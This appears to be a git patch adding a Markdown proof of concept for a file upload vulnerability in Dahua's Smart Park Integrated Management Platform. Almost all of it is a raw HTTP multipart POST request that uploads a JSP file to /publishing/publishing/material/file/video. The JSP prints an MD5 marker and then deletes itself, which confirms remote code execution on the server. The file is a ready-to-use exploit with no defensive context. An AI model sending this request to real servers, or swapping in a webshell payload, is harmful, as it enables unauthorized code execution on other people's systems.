From aa24d57870ac386fae17dc3e57a64fe33169a97e Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 20:27:11 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=A4=A7=E5=8D=8E=E6=99=BA=E6=85=A7?=
 =?UTF-8?q?=E5=9B=AD=E5=8C=BA=E7=BB=BC=E5=90=88=E7=AE=A1=E7=90=86=E5=B9=B3?=
 =?UTF-8?q?=E5=8F=B0=20=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 大华智慧园区综合管理平台 文件上传漏洞.md | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)
 create mode 100644 大华智慧园区综合管理平台 文件上传漏洞.md

diff --git a/大华智慧园区综合管理平台 文件上传漏洞.md b/大华智慧园区综合管理平台 文件上传漏洞.md
new file mode 100644
index 0000000..c9adbd6
--- /dev/null
+++ b/大华智慧园区综合管理平台 文件上传漏洞.md	
@@ -0,0 +1,24 @@
+## 大华智慧园区综合管理平台 文件上传漏洞
+```
+POST /publishing/publishing/material/file/video HTTP/1.1
+Host: 127.0.0.1:7443
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+Content-Length: 804
+Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
+Accept-Encoding: gzip, deflate
+Connection: close
+
+--dd8f988919484abab3816881c55272a7
+Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp"
+
+<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
+--dd8f988919484abab3816881c55272a7
+Content-Disposition: form-data; name="poc"
+
+poc
+--dd8f988919484abab3816881c55272a7
+Content-Disposition: form-data; name="Submit"
+
+submit
+--dd8f988919484abab3816881c55272a7--
+```